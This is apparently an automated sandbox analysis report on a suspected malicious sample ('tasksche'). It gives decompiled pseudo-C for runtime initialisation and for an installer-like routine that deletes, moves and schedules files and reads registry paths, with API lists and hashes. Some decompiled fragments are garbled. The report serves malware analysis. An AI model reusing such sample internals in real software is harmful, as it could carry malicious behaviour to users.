Opcode ID: c5f4d7ef721d9f2cf6d28cde0393e927751e3943138dffdaa34ce4f2faff49d0
Instruction ID: fe64683af8def945f8560e9c967618457674570685148338231d72a037962566
Opcode Fuzzy Hash: c5f4d7ef721d9f2cf6d28cde0393e927751e3943138dffdaa34ce4f2faff49d0
Instruction Fuzzy Hash: C021A076900218FFCF129FA1DC48DDEBFBAFB48350B104466F914A2120C7369A65EFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041E854 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E0041E854(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				_push(0xc);
				_push(0x42d8a0);
				E0041FA9C(__ebx, __edi, __esi);
				_t44 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E00421465(_t44);
				}
				 *(_t46 - 0x1c) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x42ba00;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = GetProcAddress;
					 *((intOrPtr*)(_t45 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t45 + 0x1fc)) = GetProcAddress( *(_t46 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *(_t45 + 0x68) = 0x430880;
				E0041EFA3(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				InterlockedIncrement( *(_t45 + 0x68));
				 *(_t46 - 4) = 0xfffffffe;
				E0041E929();
				E0041EFA3(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x430e88; // 0x430db0
					 *((intOrPtr*)(_t45 + 0x6c)) = _t32;
				}
				E004221AD( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E0041FAE1(E0041E932());
			}

0x0041e854
0x0041e854
0x0041e856
0x0041e85b
0x0041e860
0x0041e866
0x0041e86e
0x0041e871
0x0041e876
0x0041e877
0x0041e87a
0x0041e87d
0x0041e887
0x0041e88c
0x0041e894
0x0041e89c
0x0041e8ac
0x0041e8ac
0x0041e8b2
0x0041e8b5
0x0041e8bc
0x0041e8c3
0x0041e8cc
0x0041e8d2
0x0041e8d9
0x0041e8df
0x0041e8e6
0x0041e8ed
0x0041e8f3
0x0041e8f6
0x0041e8f9
0x0041e8fe
0x0041e900
0x0041e905
0x0041e905
0x0041e90b
0x0041e911
0x0041e922

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0042D8A0,0000000C,0041E98F,00000000,00000000,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 0041E866
__crt_waiting_on_module_handle.LIBCMT ref: 0041E871

Part of subcall function 00421465: Sleep.KERNEL32(000003E8,00000000,?,0041E7B7,KERNEL32.DLL,?,0041E803,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 00421471
Part of subcall function 00421465: GetModuleHandleW.KERNEL32(00000000,?,0041E7B7,KERNEL32.DLL,?,0041E803,?,0041FE78,0041A9BA,?,?,?,0041A9BA,00000000,?), ref: 0042147A

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0041E89A
GetProcAddress.KERNEL32(0041A9BA,DecodePointer), ref: 0041E8AA
__lock.LIBCMT ref: 0041E8CC
InterlockedIncrement.KERNEL32(?), ref: 0041E8D9
__lock.LIBCMT ref: 0041E8ED
___addlocaleref.LIBCMT ref: 0041E90B

Strings

DecodePointer, xrefs: 0041E8A2
KERNEL32.DLL, xrefs: 0041E860, 0041E865, 0041E870
EncodePointer, xrefs: 0041E88E

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction ID: 28857185edf288c115030afddfc21b3ad53991f12277c54fa87cb1ac16e0dfb5
Opcode Fuzzy Hash: d8a1d3b64ce03b740c9770e28a10d8a3d1cb693a8f1fd6d09f99049fe87b25f8
Instruction Fuzzy Hash: 82119071A40701AFD720AF36D805B9EBBE0AF44314F60456FE8A997290CB78A981CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0C2 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 260
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040F0C2(void* __edi) {
				long __ebx;
				intOrPtr _t263;
				void* _t264;
				void* _t335;
				short* _t337;
				void* _t339;

				L0:
				while(1) {
					L0:
					if( *((intOrPtr*)(_t339 + 0x10)) != 6) {
						goto L160;
					} else {
						__eax = 0;
						 *(__ebp - 0x2440) = __ax;
						__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
						__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
						_push(__ebx);
						__eflags = __eax - 0x50;
						if(__eax == 0x50) {
							_push(0x43f822);
							__eax = __ebp - 0x2440;
							_push(__ebp - 0x2440);
							__eax = E00410B9C();
							 *(__ebp - 0x18) = 2;
						} else {
							__eflags = __eax - 0x54;
							__eax = __ebp - 0x2440;
							if(__eflags == 0) {
								_push(0x43e822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 7;
							} else {
								_push(0x440822);
								_push(__eax);
								__eax = E00410B9C();
								 *(__ebp - 0x18) = 0x10;
							}
						}
						__eax = 0;
						 *(__ebp - 0xbc90) = __ax;
						 *(__ebp - 0x4c40) = __ax;
						__ebp - 0x19c90 = __ebp - 0x6c88;
						__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
						__eflags =  *(__ebp - 0x6c88) - 0x22;
						_pop(__ecx);
						_pop(__ecx);
						if( *(__ebp - 0x6c88) != 0x22) {
							__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
							__eflags = __al;
							if(__al != 0) {
								goto L145;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
							__eflags =  *(__ebp - 0x6c88);
							__edi = __ebp - 0x6c88;
							if( *(__ebp - 0x6c88) == 0) {
								goto L145;
							} else {
								goto L133;
							}
							do {
								L133:
								__eax = __edi->i & 0x0000ffff;
								__eflags = __ax - 0x20;
								if(__ax == 0x20) {
									L135:
									__esi = __ax & 0x0000ffff;
									__eax = 0;
									__edi->i = __ax;
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al == 0) {
										__edi->i = __si;
										goto L142;
									}
									 *(__ebp - 0x10) = __edi;
									__eflags = __si - 0x2f;
									if(__si != 0x2f) {
										do {
											__edi =  &(__edi->i);
											__edi =  &(__edi->i);
											__eflags = __edi->i - 0x20;
										} while (__edi->i == 0x20);
										_push(__edi);
										__eax = __ebp - 0x4c40;
										L140:
										E0041A7F7() =  *(__ebp - 0x10);
										__ecx = __eax;
										_pop(__ecx);
										 *( *(__ebp - 0x10)) = __si;
										goto L142;
									}
									__eax = 0x2f;
									 *(__ebp - 0x4c40) = __ax;
									__eax =  &(__edi->i);
									_push( &(__edi->i));
									__eax = __ebp - 0x4c3e;
									goto L140;
								}
								__eflags = __ax - 0x2f;
								if(__ax != 0x2f) {
									goto L142;
								}
								goto L135;
								L142:
								__edi =  &(__edi->i);
								__edi =  &(__edi->i);
								__eflags = __edi->i;
							} while (__edi->i != 0);
							__eflags =  *(__ebp - 0x10);
							if( *(__ebp - 0x10) != 0) {
								__ecx =  *(__ebp - 0x10);
								__eax = 0;
								__eflags = 0;
								 *( *(__ebp - 0x10)) = __ax;
							}
							goto L145;
						} else {
							__ebp - 0x19c8e = __ebp - 0x6c88;
							E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
							__eax = E0041CA29(__ebp - 0x6c86, 0x22);
							__eflags = __eax;
							if(__eax != 0) {
								__ecx = 0;
								 *__eax = __cx;
								__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
								_pop(__ecx);
								_pop(__ecx);
							}
							L145:
							__esi = 0;
							__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
							if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
								__ebp - 0xbc90 = __ebp - 0x11c90;
								__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
							}
							__ebp - 0xcc90 = __ebp - 0x6c88;
							__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
							__eflags =  *(__ebp - 0x2440) - __si;
							if(__eflags == 0) {
								__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
							}
							__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
							if(__eflags != 0) {
								__ebp - 0x17c90 = __ebp - 0x2440;
								E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
								__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							}
							__ebp - 0x2440 = __ebp - 0xac90;
							__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
							_pop(__ecx);
							_pop(__ecx);
							__eax = __ebp - 0x13c90;
							__eflags =  *(__ebp - 0x13c90) - __si;
							if(__eflags == 0) {
								__eax = __ebp - 0x19c90;
							}
							__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
							__eax = __ebp - 0x2440;
							__eflags = E0040A76A(__ebp - 0x2440) - __esi;
							if(__eflags == 0) {
								L155:
								__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, L".lnk", __ebx);
								goto L156;
							} else {
								__eflags = __eax;
								if(__eflags == 0) {
									L156:
									__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
									__ebp - 0xcc90 = __ebp - 0x9c90;
									__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
									_pop(__ecx);
									_pop(__ecx);
									__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
									 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
									asm("sbb eax, eax");
									__ecx = __ebp - 0x4c40;
									__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
									 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
									asm("sbb ecx, ecx");
									__edx = __ebp - 0xbc90;
									__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
									 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
									asm("sbb edx, edx");
									__esi = __ebp - 0x15c90;
									__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
									 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
									asm("sbb esi, esi");
									__edi = __ebp - 0x9c90;
									__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
									__ebp - 0x2440 = __ebp - 0xcc90;
									__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
									__eflags =  *(__ebp - 0xac90);
									if( *(__ebp - 0xac90) != 0) {
										__eax = __ebp - 0xac90;
										SHChangeNotify(0x1000, 5, __ebp - 0xac90, 0);
									}
									while(1) {
										L160:
										_t263 = E0040D781(_t339 - 0x11, _t339 - 0xec90, _t337,  *((intOrPtr*)(_t339 + 0xc)), _t339 - 0x4440, _t339 + 0xf, 0x1000);
										 *((intOrPtr*)(_t339 + 0xc)) = _t263;
										if(_t263 != 0) {
											_t335 = GetFileAttributesW;
											_t322 = _t339 - 0x1bc90;
											_t337 = 0x438818;
											_t264 = _t339 - 0x4440;
											 *(_t339 - 0x10) = _t339 - 0x1bc90;
											 *((intOrPtr*)(_t339 - 0x18)) = 6;
											goto L2;
										} else {
											break;
										}
										L4:
										while(E00411E60(_t339 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t339 - 0x10) * 4))) != 0) {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) + 1;
											if( *(_t339 - 0x10) < 0xe) {
												continue;
											} else {
												goto L160;
											}
										}
										__eflags =  *(_t339 - 0x10) - 0xd;
										if( *(_t339 - 0x10) > 0xd) {
											continue;
										}
										switch( *((intOrPtr*)( *(_t339 - 0x10) * 4 +  &M0040F443))) {
											case 0:
												__eflags =  *((intOrPtr*)(_t339 + 0x10)) - 2;
												if( *((intOrPtr*)(_t339 + 0x10)) != 2) {
													goto L160;
												}
												E00419C9B(_t339 - 0x8c90, _t319);
												E0040A146(_t339 - 0x8c90, _t339 - 0x4440, _t339 - 0xfc90, _t319);
												E00409433(_t339 - 0x7c90);
												 *(_t339 - 4) =  *(_t339 - 4) & 0x00000000;
												E0040945C(_t339 - 0x7c90, _t339 - 0xfc90);
												E004067E1(_t339 - 0x5c88);
												_push(0);
												_t280 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
												__eflags = _t280;
												if(_t280 == 0) {
													L25:
													 *(_t339 - 4) =  *(_t339 - 4) | 0xffffffff;
													E00409449(_t339 - 0x7c90);
													goto L160;
												} else {
													_t337 = L"%s.%d.tmp";
													do {
														SetFileAttributesW(_t339 - 0x5c88, 0);
														__eflags =  *((char*)(_t339 - 0x4c7c));
														if(__eflags == 0) {
															L17:
															_t285 = GetFileAttributesW(_t339 - 0x5c88);
															__eflags = _t285 - 0xffffffff;
															if(_t285 == 0xffffffff) {
																goto L24;
															}
															_t289 = DeleteFileW(_t339 - 0x5c88);
															__eflags = _t289;
															if(_t289 != 0) {
																goto L24;
															} else {
																 *(_t339 - 0x10) =  *(_t339 - 0x10) & _t289;
																_push(_t289);
																goto L21;
																L21:
																E0040BC16(_t339 - 0x1040, _t319, _t337, _t339 - 0x5c88);
																_t341 = _t341 + 0x14;
																_t294 = GetFileAttributesW(_t339 - 0x1040);
																__eflags = _t294 - 0xffffffff;
																if(_t294 != 0xffffffff) {
																	_t61 = _t339 - 0x10;
																	 *_t61 =  *(_t339 - 0x10) + 1;
																	__eflags =  *_t61;
																	_push( *(_t339 - 0x10));
																	goto L21;
																} else {
																	_t297 = MoveFileW(_t339 - 0x5c88, _t339 - 0x1040);
																	__eflags = _t297;
																	if(_t297 != 0) {
																		MoveFileExW(_t339 - 0x1040, 0, 4);
																	}
																	goto L24;
																}
															}
														}
														E0040AA7D(__eflags, _t339 - 0x8c90, _t339 - 0x1040, _t319);
														E0040A116(__eflags, _t339 - 0x1040, _t319);
														_t306 = E0041A7AF(_t339 - 0x8c90);
														 *((intOrPtr*)(_t339 - 0x18)) = _t306;
														__eflags = _t306 - 4;
														if(_t306 < 4) {
															L15:
															_t308 = E0040A0A4(_t339 - 0x4440);
															__eflags = _t308;
															if(_t308 != 0) {
																goto L25;
															}
															L16:
															_t310 = E0041A7AF(_t339 - 0x5c88);
															__eflags = 0;
															 *((short*)(_t339 + _t310 * 2 - 0x5c86)) = 0;
															E0041A820(_t335, _t339 - 0x40, 0, 0x1e);
															_t341 = _t341 + 0x10;
															_push(0x14);
															_pop(_t313);
															 *((short*)(_t339 - 0x30)) = _t313;
															 *((intOrPtr*)(_t339 - 0x38)) = _t339 - 0x5c88;
															 *((intOrPtr*)(_t339 - 0x3c)) = 3;
															SHFileOperationW(_t339 - 0x40);
															goto L17;
														}
														_t318 = E0041A7AF(_t339 - 0x1040);
														__eflags =  *((intOrPtr*)(_t339 - 0x18)) - _t318;
														if( *((intOrPtr*)(_t339 - 0x18)) > _t318) {
															goto L16;
														}
														goto L15;
														L24:
														_push(0);
														_t287 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
														__eflags = _t287;
													} while (_t287 != 0);
													goto L25;
												}
											case 1:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__eflags =  *((char*)(__ebp - 0x11));
													if(__eflags == 0) {
														__edi = __ebp + 0xc;
														__edi = E0040D92D(__ebp + 0xc, __eflags);
													} else {
														__edi = __ebp - 0x4440;
													}
													__eflags =  *((char*)(__ebp - 0x12));
													if( *((char*)(__ebp - 0x12)) == 0) {
														__esi = E0041A7AF( *0x441850);
													} else {
														__esi = 0;
													}
													__eax = E0041A7AF(__edi);
													__eax = __eax + __esi;
													_push(__eax);
													_push( *0x441850);
													__eax = E0041A594(__ebx, __edi, __esi, __eflags);
													__esp = __esp + 0xc;
													__eflags =  *((char*)(__ebp - 0x12));
													 *0x441850 = __eax;
													if( *((char*)(__ebp - 0x12)) != 0) {
														__ecx = 0;
														__eflags = 0;
														 *__eax = __cx;
													}
													__eax = E0041A7C9(__eax, __edi);
													__eflags =  *((char*)(__ebp - 0x11));
													_pop(__ecx);
													_pop(__ecx);
													if(__eflags == 0) {
														_push(__edi);
														__eax = E0041A506(__ebx, __edi, __esi, __eflags);
														_pop(__ecx);
													}
												}
												goto L160;
											case 2:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
												}
												goto L160;
											case 3:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) != 0) {
													goto L160;
												}
												__eflags =  *0x44187a;
												if( *0x44187a != 0) {
													goto L160;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x4440) - 0x22;
												__edi = __ebp - 0x4440;
												 *(__ebp - 0x18) = __edi;
												 *(__ebp - 0x1040) = __ax;
												if( *(__ebp - 0x4440) == 0x22) {
													__edi = __ebp - 0x443e;
													 *(__ebp - 0x18) = __edi;
												}
												__eax = E0041A7AF(__edi);
												__eflags = __eax - __ebx;
												if(__eax >= __ebx) {
													goto L160;
												} else {
													__eax = __edi->i & 0x0000ffff;
													__eflags = __ax - 0x2e;
													if(__ax != 0x2e) {
														L50:
														__eflags = __ax - 0x5c;
														if(__ax == 0x5c) {
															L62:
															_push(__edi);
															L63:
															__eax = __ebp - 0x1040;
															_push(__ebp - 0x1040);
															__eax = E0041A7F7();
															L64:
															_pop(__ecx);
															_pop(__ecx);
															L65:
															__eax = __ebp - 0x1040;
															__eax = E0041CA4F(__ebp - 0x1040, 0x22);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__eflags =  *((short*)(__eax + 2));
																if( *((short*)(__eax + 2)) == 0) {
																	__ecx = 0;
																	__eflags = 0;
																	 *__eax = __cx;
																}
															}
															__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx); // executed
															__edi = GetDlgItem( *(__ebp + 8), 0x66);
															__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040); // executed
															__eax = SendMessageW(__edi, 0x143, 0, __esi); // executed
															__eax = __ebp - 0x1040;
															__eax = E0041AA21(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__ebp - 0x1040 = SendMessageW(__edi, 0x143, 0, __ebp - 0x1040);
															}
															goto L160;
														}
														__eflags = __ax;
														if(__ax == 0) {
															L53:
															__eax = __ebp - 0x1c;
															__eax = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion", 0, 1, __ebp - 0x1c);
															__eflags = __eax;
															if(__eax == 0) {
																__ebp - 0x10 = __ebp - 0x1040;
																__eax = __ebp - 0x20;
																 *(__ebp - 0x10) = 0x1000;
																RegQueryValueExW( *(__ebp - 0x1c), L"ProgramFilesDir", 0, __ebp - 0x20, __ebp - 0x1040, __ebp - 0x10) = RegCloseKey( *(__ebp - 0x1c));
																 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
																__eax = 0x7ff;
																__eflags =  *(__ebp - 0x10) - 0x7ff;
																if( *(__ebp - 0x10) < 0x7ff) {
																	__eax =  *(__ebp - 0x10);
																}
																__ecx = 0;
																__eflags = 0;
																 *((short*)(__ebp + __eax * 2 - 0x1040)) = __cx;
															}
															__eflags =  *(__ebp - 0x1040);
															if( *(__ebp - 0x1040) != 0) {
																__eax = __ebp - 0x1040;
																__eax = E0041A7AF(__ebp - 0x1040);
																__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
																if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
																	__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, "\\");
																	_pop(__ecx);
																	_pop(__ecx);
																}
															}
															__edi = E0041A7AF(__edi);
															__eax = __ebp - 0x1040;
															__edi = __edi + E0041A7AF(__ebp - 0x1040);
															__eflags = __edi - 0x7ff;
															if(__edi >= 0x7ff) {
																goto L65;
															} else {
																__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
																goto L64;
															}
														}
														__eflags = __edi->i - 0x3a;
														if(__edi->i == 0x3a) {
															goto L62;
														}
														goto L53;
													}
													__eflags = __edi->i - 0x5c;
													if(__edi->i != 0x5c) {
														goto L50;
													}
													_t97 = __edi + 4; // 0x26
													__eax = _t97;
													__eflags =  *__eax;
													if( *__eax == 0) {
														goto L160;
													} else {
														_push(__eax);
														goto L63;
													}
												}
											case 4:
												__eflags =  *0x441874 - 1;
												__eflags = __eax - 0x441874;
												__edi->i = __edi->i + __ecx;
												__eflags = __edi->i & __dh;
												_push(es);
												 *__eax =  *__eax + __al;
												__eflags =  *__eax;
											case 5:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eflags = __eax;
												if(__eax == 0) {
													L82:
													 *0x441831 = 0;
													 *0x441830 = 1;
													goto L160;
												}
												__eax = __eax - 0x30;
												__eflags = __eax;
												if(__eax == 0) {
													 *0x441831 = 0;
													L81:
													 *0x441830 = 0;
													goto L160;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax == 0) {
													goto L82;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax != 0) {
													goto L160;
												}
												 *0x441831 = 1;
												goto L81;
											case 6:
												__eflags =  *(__ebp + 0x10) - 4;
												if( *(__ebp + 0x10) != 4) {
													goto L92;
												}
												__eax = __ebp - 0x4440;
												__eax = E0041AA21(__ebp - 0x4440, L"<>");
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax == 0) {
													goto L92;
												}
												_push(0);
												goto L91;
											case 7:
												__eflags =  *(__ebp + 0x10) - 1;
												if(__eflags != 0) {
													L112:
													__eflags =  *(__ebp + 0x10) - 7;
													if( *(__ebp + 0x10) == 7) {
														__eflags =  *0x441874;
														if( *0x441874 == 0) {
															 *0x441874 = 2;
														}
														 *0x441870 = 1;
													}
													goto L160;
												}
												__ebp - 0x8c90 = GetTempPathW(__ebx, __ebp - 0x8c90);
												__ebp - 0x8c90 = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
												_push(0);
												__esi = L"%s%s%d";
												while(1) {
													_push( *0x4300c8);
													__ebp - 0x8c90 = __ebp - 0x1040;
													E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
													_push(__ebp - 0x1040);
													__eax = __edi->i();
													__eflags = __eax - 0xffffffff;
													if(__eax == 0xffffffff) {
														break;
													}
													_t146 = __ebp - 0x10;
													 *_t146 =  *(__ebp - 0x10) + 1;
													__eflags =  *_t146;
													_push( *(__ebp - 0x10));
												}
												__ebp - 0x1040 = SetDlgItemTextW( *(__ebp + 8), 0x66, __ebp - 0x1040);
												__eflags =  *(__ebp - 0x4440);
												if( *(__ebp - 0x4440) == 0) {
													goto L160;
												}
												__eflags =  *0x44184a;
												if( *0x44184a != 0) {
													goto L160;
												}
												__eax = 0;
												 *(__ebp - 0x1440) = __ax;
												__eax = __ebp - 0x4440;
												__eax = E0041CA29(__ebp - 0x4440, 0x2c);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													L108:
													__eflags =  *(__ebp - 0x1440);
													if( *(__ebp - 0x1440) == 0) {
														__ebp - 0x1bc90 = __ebp - 0x4440;
														E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
														__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
													}
													__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
													__eax = 0;
													 *(__ebp - 0x3440) = __ax;
													__ebp - 0x1440 = __ebp - 0x4440;
													__eax = MessageBoxW( *(__ebp + 8), __ebp - 0x4440, __ebp - 0x1440, 0x24);
													__eflags = __eax - 6;
													if(__eax == 6) {
														goto L160;
													} else {
														 *0x441849 = 1;
														 *0x44183c = 1;
														__eax = EndDialog( *(__ebp + 8), 1);
														goto L112;
													}
												}
												__ecx = 0;
												__eflags =  *(__ebp - 0x4440) - __cx;
												if( *(__ebp - 0x4440) == __cx) {
													goto L108;
												}
												__eax = __ebp - 0x4440;
												while(1) {
													__eflags =  *__eax - 0x40;
													if( *__eax == 0x40) {
														break;
													}
													__ecx = __ecx + 1;
													__eax = __ebp + __ecx * 2 - 0x4440;
													__eflags =  *__eax;
													if( *__eax != 0) {
														continue;
													}
													goto L108;
												}
												__esi = __ecx + __ecx;
												__ebp + __esi - 0x443e = __ebp - 0x1440;
												__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
												_pop(__ecx);
												__eax = 0;
												__eflags = 0;
												_pop(__ecx);
												 *(__ebp + __esi - 0x4440) = __ax;
												goto L108;
											case 8:
												__eflags =  *(__ebp + 0x10) - 3;
												if( *(__ebp + 0x10) == 3) {
													__eflags =  *(__ebp - 0x4440);
													if(__eflags != 0) {
														__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
													}
													__edi = __ebp + 0xc;
													 *0x441854 = E0040D92D(__edi, __eflags);
												}
												 *0x44184b = 1;
												goto L160;
											case 9:
												__eflags =  *(__ebp + 0x10) - 5;
												if( *(__ebp + 0x10) != 5) {
													L92:
													 *0x44185c = 1;
													goto L160;
												}
												_push(1);
												L91:
												_push( *(__ebp + 8));
												__ecx = __ebp - 0x4440;
												__eax = E0040E46C(__ecx);
												goto L92;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp + 0x10) - 7;
												if( *(__ebp + 0x10) == 7) {
													 *0x441878 = 1;
												}
												goto L160;
											case 0xc:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
												__eflags = __eax - 0x46;
												if(__eax == 0x46) {
													 *0x441823 = 1;
												} else {
													__eflags = __eax - 0x55;
													if(__eax == 0x55) {
														 *0x441822 = 1;
													} else {
														 *0x441823 = 0;
														 *0x441822 = 0;
													}
												}
												goto L160;
											case 0xd:
												 *0x44185d = 1;
												__eax = __eax + 0x44185d;
												__ecx = __ecx + __ebp;
												 *0x7d830000 =  *0x7d830000 ^ __eax;
												__eflags =  *0x7d830000;
												goto L160;
										}
										L2:
										_t264 = E0040DCB8(_t322, _t264,  *(_t339 - 0x10));
										 *(_t339 - 0x10) =  *(_t339 - 0x10) + 0x2000;
										_t9 = _t339 - 0x18;
										 *_t9 =  *((intOrPtr*)(_t339 - 0x18)) - 1;
										if( *_t9 != 0) {
											goto L2;
										} else {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) & 0x00000000;
											goto L4;
										}
									}
									 *[fs:0x0] =  *((intOrPtr*)(_t339 - 0xc));
									return _t263;
								}
								goto L155;
							}
						}
					}
				}
			}

0x00000000
0x0040f0c2
0x0040f0c2
0x0040f0c6
0x00000000
0x0040f0cc
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
